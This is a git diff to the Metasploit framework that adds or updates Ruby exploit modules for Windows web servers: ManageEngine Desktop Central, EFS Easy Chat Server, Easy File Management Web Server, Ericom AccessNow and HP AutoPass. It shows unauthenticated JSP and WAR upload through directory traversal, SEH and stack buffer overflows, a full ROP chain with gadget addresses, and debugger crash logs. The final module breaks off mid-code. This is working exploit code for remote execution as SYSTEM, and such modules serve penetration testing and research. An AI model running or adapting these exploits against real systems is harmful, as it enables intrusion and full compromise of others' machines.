Msf::Exploit::Remote::HttpClient + include Msf::Exploit::EXE + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'ManageEngine Desktop Central StatusUpdate Arbitrary File Upload', + 'Description' => %q{ + This module exploits an arbitrary file upload vulnerability in ManageEngine DesktopCentral + v7 to v9 build 90054 (including the MSP versions). + A malicious user can upload a JSP file into the web root without authentication, leading to + arbitrary code execution as SYSTEM. Some early builds of version 7 are not exploitable as + they do not ship with a bundled Java compiler. + }, + 'Author' => + [ + 'Pedro Ribeiro ' # Vulnerability discovery and Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['CVE', '2014-5005'], + ['OSVDB', '110643'], + ['URL', 'http://seclists.org/fulldisclosure/2014/Aug/88'], + ['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/me_dc9_file_upload.txt'] + ], + 'Platform' => 'win', + 'Arch' => ARCH_X86, + 'Targets' => + [ + [ 'Desktop Central v7 to v9 build 90054 / Windows', {} ] + ], + 'Privileged' => true, + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Aug 31 2014' + )) + + register_options([Opt::RPORT(8020)], self.class) + end + + + # Test for Desktop Central + def check + res = send_request_cgi({ + 'uri' => normalize_uri("configurations.do"), + 'method' => 'GET' + }) + + if res && res.code == 200 + build = nil + + if res.body.to_s =~ /ManageEngine Desktop Central 7/ || + res.body.to_s =~ /ManageEngine Desktop Central MSP 7/ # DC v7 + + print_status("#{peer} - Detected Desktop Central v7") + elsif res.body.to_s =~ /ManageEngine Desktop Central 8/ || + res.body.to_s =~ /ManageEngine Desktop Central MSP 8/ + + if res.body.to_s =~ /id="buildNum" value="([0-9]+)"\/>/ # DC v8 (later versions) + build = $1 + print_status("#{peer} - Detected Desktop Central v8 #{build}") + else # DC v8 (earlier versions) + print_status("#{peer} - Detected Desktop Central v8") + end + elsif res.body.to_s =~ /id="buildNum" value="([0-9]+)"\/>/ # DC v9 (and higher?) + build = $1 + end + + if build.nil? + return Exploit::CheckCode::Unknown + elsif Gem::Version.new(build) < Gem::Version.new("90055") + return Exploit::CheckCode::Appears + else + return Exploit::CheckCode::Safe + end + end + + Exploit::CheckCode::Unknown + end + + def exploit + print_status("#{peer} - Uploading JSP to execute the payload") + + exe = payload.encoded_exe + exe_filename = rand_text_alpha_lower(8) + ".exe" + + jsp_payload = jsp_drop_and_execute(exe, exe_filename) + jsp_name = rand_text_alpha_lower(8) + ".jsp" + + send_request_cgi({ + 'uri' => normalize_uri('statusUpdate'), + 'method' => 'POST', + 'data' => jsp_payload, + 'ctype' => 'text/html', + 'vars_get' => { + 'actionToCall' => 'LFU', + 'configDataID' => '1', + 'customerId' => rand_text_numeric(4), + 'fileName' => '../' * 6 << jsp_name + } + }) + # We could check for HTTP 200 and a "success" string. + # However only some later v8 and v9 versions return this; and we don't really care + # and do a GET to the file we just uploaded anyway. + + register_files_for_cleanup(exe_filename) + register_files_for_cleanup("..\\webapps\\DesktopCentral\\#{jsp_name}") + + print_status("#{peer} - Executing payload") + send_request_cgi( + { + 'uri' => normalize_uri(jsp_name), + 'method' => 'GET' + }) + end + + + def jsp_drop_bin(bin_data, output_file) + jspraw = %Q|<%@ page import="java.io.*" %>\n| + jspraw << %Q|<%\n| + jspraw << %Q|String data = "#{Rex::Text.to_hex(bin_data, "")}";\n| + + jspraw << %Q|FileOutputStream outputstream = new FileOutputStream("#{output_file}");\n| + + jspraw << %Q|int numbytes = data.length();\n| + + jspraw << %Q|byte[] bytes = new byte[numbytes/2];\n| + jspraw << %Q|for (int counter = 0; counter < numbytes; counter += 2)\n| + jspraw << %Q|{\n| + jspraw << %Q| char char1 = (char) data.charAt(counter);\n| + jspraw << %Q| char char2 = (char) data.charAt(counter + 1);\n| + jspraw << %Q| int comb = Character.digit(char1, 16) & 0xff;\n| + jspraw << %Q| comb <<= 4;\n| + jspraw << %Q| comb += Character.digit(char2, 16) & 0xff;\n| + jspraw << %Q| bytes[counter/2] = (byte)comb;\n| + jspraw << %Q|}\n| + + jspraw << %Q|outputstream.write(bytes);\n| + jspraw << %Q|outputstream.close();\n| + jspraw << %Q|%>\n| + + jspraw + end + + + def jsp_execute_command(command) + jspraw = %Q|\n| + jspraw << %Q|<%\n| + jspraw << %Q|Runtime.getRuntime().exec("#{command}");\n| + jspraw << %Q|%>\n| + + jspraw + end + + + def jsp_drop_and_execute(bin_data, output_file) + jsp_drop_bin(bin_data, output_file) + jsp_execute_command(output_file) + end +end diff --git a/modules/exploits/windows/http/easyftp_list.rb b/modules/exploits/windows/http/easyftp_list.rb index dda0bdf929..c7ef5b6ee7 100644 --- a/modules/exploits/windows/http/easyftp_list.rb +++ b/modules/exploits/windows/http/easyftp_list.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -14,7 +14,7 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'EasyFTP Server <= 1.7.0.11 list.html path Stack Buffer Overflow', + 'Name' => 'EasyFTP Server list.html path Stack Buffer Overflow', 'Description' => %q{ This module exploits a stack-based buffer overflow in EasyFTP Server 1.7.0.11 and earlier. EasyFTP fails to check input size when parsing the 'path' parameter @@ -116,7 +116,7 @@ class Metasploit3 < Msf::Exploit::Remote if (res) print_error("The server unexpectedly responded, this is not good.") - print_status(res.inspect) + print_status(res.to_s) end handler diff --git a/modules/exploits/windows/http/edirectory_host.rb b/modules/exploits/windows/http/edirectory_host.rb index 2e53fe9dea..7daa7bff70 100644 --- a/modules/exploits/windows/http/edirectory_host.rb +++ b/modules/exploits/windows/http/edirectory_host.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/http/edirectory_imonitor.rb b/modules/exploits/windows/http/edirectory_imonitor.rb index 5624ee53a6..ff37a76faa 100644 --- a/modules/exploits/windows/http/edirectory_imonitor.rb +++ b/modules/exploits/windows/http/edirectory_imonitor.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/http/efs_easychatserver_username.rb b/modules/exploits/windows/http/efs_easychatserver_username.rb index 87876ae500..06e9747b3f 100644 --- a/modules/exploits/windows/http/efs_easychatserver_username.rb +++ b/modules/exploits/windows/http/efs_easychatserver_username.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -17,78 +17,151 @@ class Metasploit3 < Msf::Exploit::Remote super(update_info(info, 'Name' => 'EFS Easy Chat Server Authentication Request Handling Buffer Overflow', 'Description' => %q{ - This module exploits a stack buffer overflow in EFS Software Easy Chat Server. By - sending a overly long authentication request, an attacker may be able to execute - arbitrary code. - - NOTE: The offset to SEH is influenced by the installation path of the program. - The path, which defaults to "C:\Program Files\Easy Chat Server", is concatentated - with "\users\" and the string passed as the username HTTP paramter. + This module exploits a stack buffer overflow in EFS Software Easy Chat + Server versions 2.0 to 3.1. By sending an overly long authentication + request, an attacker may be able to execute arbitrary code. }, - 'Author' => [ 'LSO ' ], + 'Author' => + [ + 'LSO ', # original metasploit + 'Brendan Coles ' # metasploit + ], 'License' => BSD_LICENSE, 'References' => [ - [ 'CVE', '2004-2466' ], + [ 'CVE', '2004-2466' ], [ 'OSVDB', '7416' ], - [ 'BID', '25328' ], + [ 'OSVDB', '106841' ], + [ 'BID', '25328' ] ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, - 'Privileged' => true, + 'Privileged' => false, 'Payload' => { - 'Space' => 500, - 'BadChars' => "\x00\x0a\x0b\x0d\x20\x23\x25\x26\x2b\x2f\x3a\x3f\x5c", + 'Space' => 7000, + 'BadChars' => "\x00\x0a\x0b\x0d\x0f\x20\x25\x26", 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ - [ 'Easy Chat Server 2.5', { 'Ret' => 0x1001b2b6 } ], # patrickw OK 20090302 w2k + # Tested on Easy Chat Server v2.0, 2.1, 2.2, 2.5, 3.1 on: + # -- Windows XP SP 3 (x86) (EN) + # -- Windows 7 SP 1 (x64) (EN) + # -- Windows 8 SP 0 (x64) (EN) + [ 'Automatic Targeting', { 'auto' => true } ], + # p/p/r SSLEAY32.dll + [ 'Easy Chat Server 2.0', { 'Ret' => 0x10010E2E } ], + # p/p/r SSLEAY32.dll + [ 'Easy Chat Server 2.1 - 3.1', { 'Ret' => 0x1001071E } ] ], 'DisclosureDate' => 'Aug 14 2007', 'DefaultTarget' => 0)) - - register_options( - [ - OptString.new('PATH', [ true, "Installation path of Easy Chat Server", - "C:\\Program Files\\Easy Chat Server" ]) - ], self.class ) end def check - info = http_fingerprint # check method - # NOTE: Version 2.5 still reports "1.0" in the "Server" header - if (info =~ /Easy Chat Server\/1\.0/) - return Exploit::CheckCode::Appears + version = get_version + if not version + return Exploit::CheckCode::Safe + end + vprint_status "#{peer} - Found version: #{version}" + if version !~ /^(2\.\d|3\.0|3\.1)$/ + return Exploit::CheckCode::Safe + end + path = get_install_path + if not path + return Exploit::CheckCode::Detected + end + vprint_status "#{peer} - Found path: #{path}" + return Exploit::CheckCode::Appears + end + + # + # Get software version from change log + # + def get_version + res = send_request_raw 'uri' => '/whatsnew.txt' + if res and res.body =~ /What's new in Easy Chat Server V(\d\.\d)/ + return "#{$1}" + end + end + + # + # Get software installation path from uninstall file + # + def get_install_path + res = send_request_raw 'uri' => '/unins000.dat' + if res and res.body =~ /([A-Z]:\\[^\x00]{2,256})?\\[a-z]+\.htm/i + return "#{$1}" end - Exploit::CheckCode::Safe end def exploit - # randomize some values. - val = rand_text_alpha(rand(10) + 1) - num = rand_text_numeric(1) - path = datastore['PATH'] + "\\users\\" - print_status("path: " + path) + # get target + if target.name =~ /Automatic/ + version = get_version + vprint_status "#{peer} - Found version: #{version}" if version + if not version or version !~ /^(2\.\d|3\.0|3\.1)$/ + fail_with(Failure::NoTarget, "#{peer} - Unable to automatically detect a target") + elsif version =~ /(2\.0)/ + my_target = targets[1] + elsif version =~ /(2\.\d|3\.0|3\.1)/ + my_target = targets[2] + end + else + my_target = target + end - # exploit buffer. - filler = rand_text_alpha(256 - path.length) - seh = generate_seh_payload(target.ret) - juju = filler + seh + # get install path + path = get_install_path + if not path + fail_with(Failure::UnexpectedReply, "#{peer} - Could not retrieve install path") + end + path << "\\users\\" + vprint_status "#{peer} - Using path: #{path}" - uri = "/chat.ghp?username=#{juju}&password=#{val}&room=2&#sex=#{num}" + # send payload + sploit = rand_text_alpha(256 - path.length) + sploit << generate_seh_payload(my_target.ret) + print_status "#{peer} - Sending request (#{sploit.length} bytes) to target (#{my_target.name})" + send_request_cgi({ + 'uri' => '/chat.ghp', + 'encode_params' => false, + 'vars_get' => { + 'username' => sploit, + 'password' => rand_text_alphanumeric(rand(10) + 1), + 'room' => 1, + 'sex' => rand_text_numeric(1) + } + }, 5) - print_status("Trying target #{target.name}...") - - send_request_raw({'uri' => uri}, 5) - - handler - disconnect end end + +=begin + +0x004144C8 calls sprintf with the following arguments: +sprintf(&FileName, "%susers\\%s", path, username); + +Since we can make the username larger than the allocated buffer size +we end up overwriting SEH with a PPR from SSLEAY32.dll and nSEH with +a short jmp to the beginning of our shellcode. + +(46c.144): Access violation - code c0000005 (first chance) +First chance exceptions are reported before any exception handling. +This exception may be expected and handled. +eax=ffffffff ebx=000007f6 ecx=0047fd50 edx=41414141 esi=000007ef edi=0047a3ea +eip=00445f34 esp=01216b88 ebp=01216ba0 iopl=0 nv up ei pl nz na po nc +cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202 +EasyChat+0x45f34: +00445f34 8a02 mov al,byte ptr [edx] ds:0023:41414141=?? + +0:005> !exchain +01216dd8: 41414141 +Invalid exception stack at 41414141 +=end diff --git a/modules/exploits/windows/http/efs_fmws_userid_bof.rb b/modules/exploits/windows/http/efs_fmws_userid_bof.rb new file mode 100644 index 0000000000..ab43eac27d --- /dev/null +++ b/modules/exploits/windows/http/efs_fmws_userid_bof.rb @@ -0,0 +1,189 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking # Reliable memory corruption + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Easy File Management Web Server Stack Buffer Overflow', + 'Description' => %q{ + Easy File Management Web Server v4.0 and v5.3 contains a stack buffer + overflow condition that is triggered as user-supplied input is not + properly validated when handling the UserID cookie. This may allow a + remote attacker to execute arbitrary code. + }, + 'Author' => + [ + 'superkojiman', # Vulnerability discovery + 'Julien Ahrens', # Exploit + 'TecR0c ' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['OSVDB', '107241'], + ['EDB', '33610'], + ['BID', '67542'], + ['URL', 'http://www.cnnvd.org.cn/vulnerability/show/cv_id/2014050536'], + ['URL', 'http://www.web-file-management.com/'] + ], + 'Platform' => 'win', + 'Arch' => ARCH_X86, + 'DefaultOptions' => + { + 'EXITFUNC' => 'process' + }, + 'Payload' => + { + 'BadChars' => "\x00\x0a\x0d;", + 'Space' => 3420 # Lets play it safe + }, + 'Targets' => + [ + # Successfully tested efmws.exe (4.0.0.0) / (5.3.0.0) on: + # -- Microsoft Windows XP [Version 5.1.2600] + # -- Microsoft Windows [Version 6.1.7600] + # -- Microsoft Windows [Version 6.3.9600] + ['Automatic Targeting', { 'auto' => true }], + ['Efmws 5.3 Universal', { 'Esp' => 0xA445ABCF, 'Ret' => 0x10010101 }], + ['Efmws 4.0 Universal', { 'Esp' => 0xA4518472, 'Ret' => 0x10010101 }], + # 0x10010101 = pop ebx > pop ecx > retn + # 0xA445ABCF = 0x514CF5 push esp > retn 0c + # 0xA4518472 = 0x457452 jmp esp + # From ImageLoad.dll + ], + 'DisclosureDate' => 'May 20 2014', + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('TARGETURI', [true, 'The URI path of an existing resource', '/vfolder.ghp']) + ], self.class) + end + + def get_version + + # + # NOTE: Version 5.3 still reports "4.0" in the "Server" header + # + + version = nil + res = send_request_raw({'uri' => '/whatsnew.txt'}) + if res && res.body =~ /What's new in Easy File Management Web Server V(\d\.\d)/ + version = $1 + vprint_status "#{peer} - Found version: #{version}" + elsif res.headers['server'] =~ /Easy File Management Web Server v(4\.0)/ + version = $1 + vprint_status "#{peer} - Based on Server header: #{version}" + end + + version + end + + def check + code = Exploit::CheckCode::Safe + version = get_version + if version.nil? + code = Exploit::CheckCode::Unknown + elsif version == "5.3" + code = Exploit::CheckCode::Appears + elsif version == "4.0" + code = Exploit::CheckCode::Appears + end + + code + end + + def exploit + + # + # Get target version to determine how to reach call/jmp esp + # + + print_status("#{peer} - Fingerprinting version...") + version = get_version + + if target.name =~ /Automatic/ + if version.nil? + fail_with(Failure::NoTarget, "#{peer} - Unable to automatically detect a target") + elsif version =~ /5\.3/ + my_target = targets[1] + elsif version =~ /4\.0/ + my_target = targets[2] + end + print_good("#{peer} - Version #{version} found") + else + my_target = target + unless version && my_target.name.include?(version) + print_error("#{peer} - The selected target doesn't match the detected version, trying anyway...") + end + end + + # + # Fu to reach where payload lives + # + + sploit = rand_text(80) # Junk + sploit << [0x1001D8C8].pack("V") # Push edx + sploit << rand_text(280) # Junk + sploit << [my_target.ret].pack("V") # Pop ebx > pop ecx > retn + sploit << [my_target['Esp']].pack("V") # Setup call/jmp esp + sploit << [0x10010125].pack("V") # Contains 00000000 to pass the jnz instruction + sploit << [0x10022AAC].pack("V") # Mov eax,ebx > pop esi > pop ebx > retn + sploit << rand_text(8) # Filler + sploit << [0x1001A187].pack("V") # Add eax,5bffc883 > retn + sploit << [0x1002466D].pack("V") # Push eax > retn + sploit << payload.encoded + + print_status "#{peer} - Trying target #{my_target.name}..." + + # + # NOTE: Successful HTTP request is required to trigger + # + + send_request_cgi({ + 'uri' => normalize_uri(target_uri.path), + 'cookie' => "SESSIONID=; UserID=#{sploit}; PassWD=;", + }, 1) + end +end + +=begin + +# +# 0x44f57d This will write UserID up the stack. If the UserID is to large it +# will overwrite a pointer which is used later on at 0x468702 +# + +eax=000007d1 ebx=00000000 ecx=000001f4 edx=016198ac esi=01668084 edi=016198ac +eip=0044f57d esp=016197e8 ebp=ffffffff iopl=0 nv up ei pl nz na po nc +cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 +fmws+0x4f57d: +0044f57d f3a5 rep movs dword ptr es:[edi],dword ptr [esi] +0:004> dd @esi +01668084 41414141 41414141 41414141 41414141 +01668094 41414141 41414141 41414141 41414141 +016680a4 41414141 41414141 41414141 41414141 +016680b4 41414141 41414141 41414141 41414141 +016680c4 41414141 41414141 41414141 41414141 +016680d4 41414141 41414141 41414141 41414141 +016680e4 41414141 41414141 41414141 41414141 +016680f4 41414141 41414141 41414141 41414141 + +(c38.8cc): Access violation - code c0000005 (first chance) +First chance exceptions are reported before any exception handling. +This exception may be expected and handled. +eax=00000000 ebx=00000000 ecx=015198fc edx=41414141 esi=015198ec edi=015198fc +eip=00468702 esp=015197c0 ebp=ffffffff iopl=0 nv up ei pl nz na pe nc +cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206 +fmws+0x68702: +00468702 ff5228 call dword ptr [edx+28h] ds:0023:41414169=???????? + +=end diff --git a/modules/exploits/windows/http/ektron_xslt_exec.rb b/modules/exploits/windows/http/ektron_xslt_exec.rb index e240b0f546..3288d2c0d2 100644 --- a/modules/exploits/windows/http/ektron_xslt_exec.rb +++ b/modules/exploits/windows/http/ektron_xslt_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/http/ericom_access_now_bof.rb b/modules/exploits/windows/http/ericom_access_now_bof.rb new file mode 100644 index 0000000000..a69621f8e8 --- /dev/null +++ b/modules/exploits/windows/http/ericom_access_now_bof.rb @@ -0,0 +1,135 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Ericom AccessNow Server Buffer Overflow', + 'Description' => %q{ + This module exploits a stack based buffer overflow in Ericom AccessNow Server. The + vulnerability is due to an insecure usage of vsprintf with user controlled data, + which can be triggered with a malformed HTTP request. This module has been tested + successfully with Ericom AccessNow Server 2.4.0.2 on Windows XP SP3 and Windows 2003 + Server SP2. + }, + 'Author' => + [ + 'Unknown', # Vulnerability Discovery + 'juan vazquez', # Metasploit Module + ], + 'References' => + [ + ['ZDI', '14-160'], + ['CVE', '2014-3913'], + ['BID', '67777'], + ['URL','http://www.ericom.com/security-ERM-2014-610.asp'] + ], + 'Privileged' => true, + 'Platform' => 'win', + 'Arch' => ARCH_X86, + 'Payload' => + { + 'Space' => 4096, + 'BadChars' => "\x00\x0d\x0a", + 'DisableNops' => true, + 'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500 + }, + 'Targets' => + [ + [ 'Ericom AccessNow Server 2.4.0.2 / Windows [XP SP3 / 2003 SP2]', + { + 'RopOffset' => 62, + 'Offset' => 30668, + 'Ret' => 0x104da1e5 # 0x104da1e5 {pivot 1200 / 0x4b0} # ADD ESP,4B0 # RETN # From AccessNowAccelerator32.dll + } + ] + ], + 'DisclosureDate' => 'Jun 2 2014', + 'DefaultTarget' => 0)) + + register_options([Opt::RPORT(8080)], self.class) + end + + + def check + res = send_request_cgi({ + 'uri' => '/AccessNow/start.html' + }) + + unless res && res.code == 200 && res.headers['Server'] + return Exploit::CheckCode::Safe + end + + if res.headers['Server'] =~ /Ericom AccessNow Server/ + return Exploit::CheckCode::Appears # Ericom AccessNow 2.4 + elsif res && res.code == 200 && res.headers['Server'] && res.headers['Server'] =~ /Ericom Access Server/ + return Exploit::CheckCode::Detected # Ericom AccessNow 3 + end + + Exploit::CheckCode::Unknown + end + + def exploit_uri + uri = "#{rand_text_alpha(1)} " # To ensure a "malformed request" error message + uri << rand_text(target['RopOffset']) + uri << create_rop_chain + uri << payload.encoded + uri << rand_text(target['Offset'] - uri.length) + uri << rand_text(4) # nseh + uri << [target.ret].pack("V") # seh + + uri + end + + def exploit + print_status("#{peer} - Sending malformed request...") + send_request_raw({ + 'method' => 'GET', + 'uri' => exploit_uri, + 'encode' => false + }, 1) + end + + def create_rop_chain + # rop chain generated with mona.py - www.corelan.be + rop_gadgets = + [ + 0x10518867, # RETN # [AccessNowAccelerator32.dll] # Padding to ensure it works in both windows 2003 SP2 and XP SP3 + 0x10518867, # RETN # [AccessNowAccelerator32.dll] # Padding to ensure it works in both windows 2003 SP2 and XP SP3 + 0x10518866, # POP EAX # RETN [AccessNowAccelerator32.dll] + 0x105c6294, # ptr to &VirtualAlloc() [IAT AccessNowAccelerator32.dll] + 0x101f292b, # MOV EAX,DWORD PTR DS:[EAX] # RETN [AccessNowAccelerator32.dll] + 0x101017e6, # XCHG EAX,ESI # RETN [AccessNowAccelerator32.dll] + 0x103ba89c, # POP EBP # RETN [AccessNowAccelerator32.dll] + 0x103eed74, # & jmp esp [AccessNowAccelerator32.dll] + 0x1055dac2, # POP EAX # RETN [AccessNowAccelerator32.dll] + 0xffffffff, # Value to negate, will become 0x00000001 + 0x1052f511, # NEG EAX # RETN [AccessNowAccelerator32.dll] + 0x10065f69, # XCHG EAX,EBX # RETN [AccessNowAccelerator32.dll] + 0x10074429, # POP EAX # RETN [AccessNowAccelerator32.dll] + 0xfbdbcb75, # put delta into eax (-> put 0x00001000 into edx) + 0x10541810, # ADD EAX,424448B # RETN [AccessNowAccelerator32.dll] + 0x1038e58a, # XCHG EAX,EDX # RETN [AccessNowAccelerator32.dll] + 0x1055d604, # POP EAX # RETN [AccessNowAccelerator32.dll] + 0xffffffc0, # Value to negate, will become 0x00000040 + 0x10528db3, # NEG EAX # RETN [AccessNowAccelerator32.dll] + 0x1057555d, # XCHG EAX,ECX # RETN [AccessNowAccelerator32.dll] + 0x1045fd24, # POP EDI # RETN [AccessNowAccelerator32.dll] + 0x10374022, # RETN (ROP NOP) [AccessNowAccelerator32.dll] + 0x101f25d4, # POP EAX # RETN [AccessNowAccelerator32.dll] + 0x90909090, # nop + 0x1052cfce # PUSHAD # RETN [AccessNowAccelerator32.dll] + ].pack("V*") + + rop_gadgets + end + +end diff --git a/modules/exploits/windows/http/ezserver_http.rb b/modules/exploits/windows/http/ezserver_http.rb index 46be1bb2c6..915370b03d 100644 --- a/modules/exploits/windows/http/ezserver_http.rb +++ b/modules/exploits/windows/http/ezserver_http.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -14,11 +14,13 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'EZHomeTech EzServer <= 6.4.017 Stack Buffer Overflow Vulnerability', + 'Name' => 'EZHomeTech EzServer Stack Buffer Overflow Vulnerability', 'Description' => %q{ - This module exploits a stack buffer overflow in the EZHomeTech EZServer. If a malicious - user sends packets containing an overly long string, it may be possible to execute a - payload remotely. Due to size constraints, this module uses the Egghunter technique. + This module exploits a stack buffer overflow in the EZHomeTech EZServer + for versions 6.4.017 and earlier. If a malicious user sends packets + containing an overly long string, it may be possible to execute a + payload remotely. Due to size constraints, this module uses the + Egghunter technique. }, 'License' => MSF_LICENSE, 'Author' => diff --git a/modules/exploits/windows/http/fdm_auth_header.rb b/modules/exploits/windows/http/fdm_auth_header.rb index 62da010ed2..6a396493ac 100644 --- a/modules/exploits/windows/http/fdm_auth_header.rb +++ b/modules/exploits/windows/http/fdm_auth_header.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/http/hp_autopass_license_traversal.rb b/modules/exploits/windows/http/hp_autopass_license_traversal.rb new file mode 100644 index 0000000000..ab30446ec0 --- /dev/null +++ b/modules/exploits/windows/http/hp_autopass_license_traversal.rb @@ -0,0 +1,257 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = GreatRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'HP AutoPass License Server File Upload', + 'Description' => %q{ + This module exploits a code execution flaw in HP AutoPass License Server. It abuses two + weaknesses in order to get its objective. First, the AutoPass application doesn't enforce + authentication in the CommunicationServlet component. Seond, it's possible to abuse a + directory traversal when uploading files thorough the same component, allowing to upload + an arbitrary payload embedded in a JSP. The module has been tested successfully on + HP AutoPass License Server 8.01 as installed with HP Service Virtualization 3.50. + }, + 'Author' => + [ + 'rgod ', # Vulnerability discovery + 'juan vazquez' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['CVE', '2013-6221'], + ['ZDI', '14-195'], + ['BID', '67989'], + ['URL', 'https://h20566.www2.hp.com/portal/site/hpsc/public/kb/docDisplay/?docId=emr_na-c04333125'] + ], + 'Privileged' => true, + 'Platform' => %w{ java }, + 'Arch' => ARCH_JAVA, + 'Targets' => + [ + ['Windows 2003 SP2 / HP AutoPass License Server 8.01 / HP Service Virtualization 3.50', + { + 'InstallDepth' => 4, + 'InstallFolder' => '/HP AutoPass License Server/HP AutoPass License Server', + 'WebappsDepth' => 1 + } + ], + ['Windows 2008 32 bits/ HP AutoPass License Server 8.01 / HP Service Virtualization 3.50', + { + 'InstallDepth' => 7, + 'InstallFolder' => '/Program Files/HP/HP AutoPass License Server/HP AutoPass License Server/HP AutoPass License Server', + 'WebappsDepth' => 1 + } + ], + ['Windows 2008 64 bits/ HP AutoPass License Server 8.01 / HP Service Virtualization 3.50', + { + 'InstallDepth' => 7, + 'InstallFolder' => '/Program Files (x86)/HP/HP AutoPass License Server/HP AutoPass License Server/HP AutoPass License Server', + 'WebappsDepth' => 1 + } + ], + ['Windows 2012 / HP AutoPass License Server 8.01 / HP Service Virtualization 3.50', + { + 'InstallDepth' => 4, + 'InstallFolder' => '/HP AutoPass License Server/HP AutoPass License Server', + 'WebappsDepth' => 1 + } + ] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Jan 10 2014')) + + register_options( + [ + Opt::RPORT(5814), + OptString.new('TARGETURI', [true, 'Path to HP AutoPass License Server Application', '/autopass']) + ], self.class) + + register_advanced_options( + [ + OptInt.new('INSTALL_DEPTH', [false, 'Traversal Depth to reach the HP AutoPass License Server folder']), + OptString.new('INSTALL_FOLDER', [false, 'HP AutoPass License Server folder']), + OptInt.new('WEBAPPS_DEPTH', [false, 'Traversal Depth to reach the Tomcat webapps folder']) + ], self.class) + end + + + def check + check_code = Exploit::CheckCode::Safe + + res = send_request_cgi( + { + 'uri' => normalize_uri(target_uri.path.to_s, "cs","pdfupload"), + 'method' => 'POST' + }) + + unless res + check_code = Exploit::CheckCode::Unknown + end + + if res && res.code == 500 && + res.body.to_s.include?("HP AutoPass License Server") && + res.body.to_s.include?("java.lang.NullPointerException") && + res.body.to_s.include?("com.hp.autopass") + + check_code = Exploit::CheckCode::Detected + end + + check_code + end + + def exploit + app_base = rand_text_alphanumeric(4+rand(32-4)) + war = payload.encoded_war({ :app_name => app_base }).to_s + war_filename = "#{app_base}.war" + + # By default, the working directory when executing the JSP is: + # C:\Program Files\HP\HP AutoPass License Server\HP AutoPass License Server\HP AutoPass License Server\bin + # The war should be dropped to the next location to autodeploy: + # C:\Program Files\HP\HP AutoPass License Server\HP AutoPass License Server\HP AutoPass License Server\webapps + war_traversal = webapps_traversal + war_traversal << "webapps/#{war_filename}" + dropper = jsp_drop_bin(war, war_traversal) + dropper_filename = rand_text_alpha(8) + ".jsp" + + print_status("#{peer} - Uploading the JSP dropper #{dropper_filename}...") + # The JSP, by default, is uploaded to: + # C:\Program Files\HP\HP AutoPass License Server\AutoPass\LicenseServer\conf\pdfiles\ + # In order to execute it, through the AutoPass application we would like to drop it here: + # C:\Program Files\HP\HP AutoPass License Server\HP AutoPass License Server\HP AutoPass License Server\webapps\autopass\scripts + dropper_traversal = install_traversal + dropper_traversal << "#{install_folder}/webapps/autopass/scripts/#{dropper_filename}" + + res = upload_file(dropper_traversal, dropper) + + register_files_for_cleanup("#{webapps_traversal}webapps/autopass/scripts/#{dropper_filename}") + register_files_for_cleanup("#{webapps_traversal}webapps/#{war_filename}") + + unless res && res.code == 500 && + res.body.to_s.include?("HP AutoPass License Server") && + res.body.to_s.include?("java.lang.NullPointerException") && + res.body.to_s.include?("com.hp.autopass") + + print_error("#{peer} - Unexpected response... upload maybe failed, trying anyway...") + end + + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, "scripts", dropper_filename), + 'method' => 'GET' + }) + + unless res and res.code == 200 + print_error("#{peer} - Unexpected response after executing the dropper...") + end + + 10.times do + select(nil, nil, nil, 2) + + # Now make a request to trigger the newly deployed war + print_status("#{peer} - 